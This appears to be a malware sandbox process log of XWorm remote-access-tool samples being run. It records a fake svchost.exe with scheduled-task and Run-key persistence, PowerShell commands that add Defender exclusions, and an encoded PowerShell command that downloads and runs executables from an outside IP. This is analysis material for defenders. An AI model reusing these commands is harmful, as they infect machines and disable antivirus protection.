C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6324 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7460 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7540 /prefetch:82⤵
- NTFS ADS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6348 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8184 /prefetch:82⤵
- NTFS ADS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8176 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7528 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8040 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5780 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7112 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6812 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3572 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7128 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7828 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6460 /prefetch:82⤵
- NTFS ADS
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4788 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2226051809037706321,13248390713929921655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7960 /prefetch:12⤵
-
C:\Users\Admin\Downloads\XWorm-3.1-main\XWorm-3.1-main\XWorm V3.1.exe"C:\Users\Admin\Downloads\XWorm-3.1-main\XWorm-3.1-main\XWorm V3.1.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\XWorm V3.1.exe"C:\Users\Admin\AppData\Roaming\XWorm V3.1.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004BC 0x00000000000004B81⤵
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\XWorm.exe"C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\XWorm.exe"1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAcwBlACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG4AYwBpACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAhACAAWQBvAHUAIABtAHUAcwB0ACAAcgB1AG4AIAB0AGgAaQBzACAAcwBvAGYAdAB3AGEAcgBlACAAYQBzACAAQQBkAG0AaQBuACEAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBuAHEAegAjAD4AOwAiADsAPAAjAHkAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQB4AHYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaABxAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAawBxAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8AeQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAcABsAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAHAAaAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBlAGEAYwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBNAHMAYwBvAG4AZgAuAGUAeABlACcAKQApADwAIwBqAHMAdQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADUALgAzAC4AMgAyADMALgAyADMANAAvAGEAdgBkAGkAcwBhAGIAbABlAC4AYgBhAHQAJwAsACAAPAAjAG4AYwB5ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQB1AHUAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBvAGYAdABwAHIAbwB0AGUAYwB0AC4AYgBhAHQAJwApACkAPAAjAGcAZwB6ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8ATQBQAFMAVgBDAC4AZQB4AGUAJwAsACAAPAAjAGIAegBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABzAGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcgBlAHQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBzAHYAYwBwAC4AZQB4AGUAJwApACkAPAAjAG4AYwBsACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8AUABMAFYALgBlAHgAZQAnACwAIAA8ACMAZQBkAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB2AGIAeAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHEAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAEwALgBlAHgAZQAnACkAKQA8ACMAYgBkAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcQBpAHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAaQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAE0AcwBjAG8AbgBmAC4AZQB4AGUAJwApADwAIwBhAGIAaAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAGsAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZgBwAHQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBvAGYAdABwAHIAbwB0AGUAYwB0AC4AYgBhAHQAJwApADwAIwB4AGoAegAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBrAGIAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABxAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBzAHYAYwBwAC4AZQB4AGUAJwApADwAIwBuAGEAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGwAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZgBtAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAC4AZQB4AGUAJwApADwAIwBrAG0AcQAjAD4A"3⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#nci#>[System.Windows.Forms.MessageBox]::Show('Injection failed! You must run this software as Admin!','','OK','Warning')<#nqz#>;4⤵
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\XWorm.exe"C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\XWorm.exe"1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAcwBlACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG4AYwBpACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAhACAAWQBvAHUAIABtAHUAcwB0ACAAcgB1AG4AIAB0AGgAaQBzACAAcwBvAGYAdAB3AGEAcgBlACAAYQBzACAAQQBkAG0AaQBuACEAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBuAHEAegAjAD4AOwAiADsAPAAjAHkAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQB4AHYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaABxAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAawBxAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8AeQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAcABsAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAHAAaAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBlAGEAYwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBNAHMAYwBvAG4AZgAuAGUAeABlACcAKQApADwAIwBqAHMAdQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADUALgAzAC4AMgAyADMALgAyADMANAAvAGEAdgBkAGkAcwBhAGIAbABlAC4AYgBhAHQAJwAsACAAPAAjAG4AYwB5ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQB1AHUAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBvAGYAdABwAHIAbwB0AGUAYwB0AC4AYgBhAHQAJwApACkAPAAjAGcAZwB6ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8ATQBQAFMAVgBDAC4AZQB4AGUAJwAsACAAPAAjAGIAegBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABzAGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcgBlAHQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBzAHYAYwBwAC4AZQB4AGUAJwApACkAPAAjAG4AYwBsACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkANQAuADMALgAyADIAMwAuADIAMwA0AC8AUABMAFYALgBlAHgAZQAnACwAIAA8ACMAZQBkAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB2AGIAeAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHEAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAEwALgBlAHgAZQAnACkAKQA8ACMAYgBkAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcQBpAHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAaQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAE0AcwBjAG8AbgBmAC4AZQB4AGUAJwApADwAIwBhAGIAaAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAGsAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZgBwAHQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBvAGYAdABwAHIAbwB0AGUAYwB0AC4AYgBhAHQAJwApADwAIwB4AGoAegAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBrAGIAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABxAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBzAHYAYwBwAC4AZQB4AGUAJwApADwAIwBuAGEAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGwAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZgBtAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAC4AZQB4AGUAJwApADwAIwBrAG0AcQAjAD4A"3⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#nci#>[System.Windows.Forms.MessageBox]::Show('Injection failed! You must run this software as Admin!','','OK','Warning')<#nqz#>;4⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC.exe"1⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\b3ownddosser.exe"C:\Users\Admin\Pictures\b3ownddosser.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" H5IP9K 127.0.0.1 8001 PGVEIX2⤵
-
C:\Users\Admin\Pictures\b3ownddosser.exe"C:\Users\Admin\Pictures\b3ownddosser.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" H5IP9K 127.0.0.1 8001 PGVEIX2⤵
-
C:\Users\Admin\Pictures\b3ownddosser.exe"C:\Users\Admin\Pictures\b3ownddosser.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
-
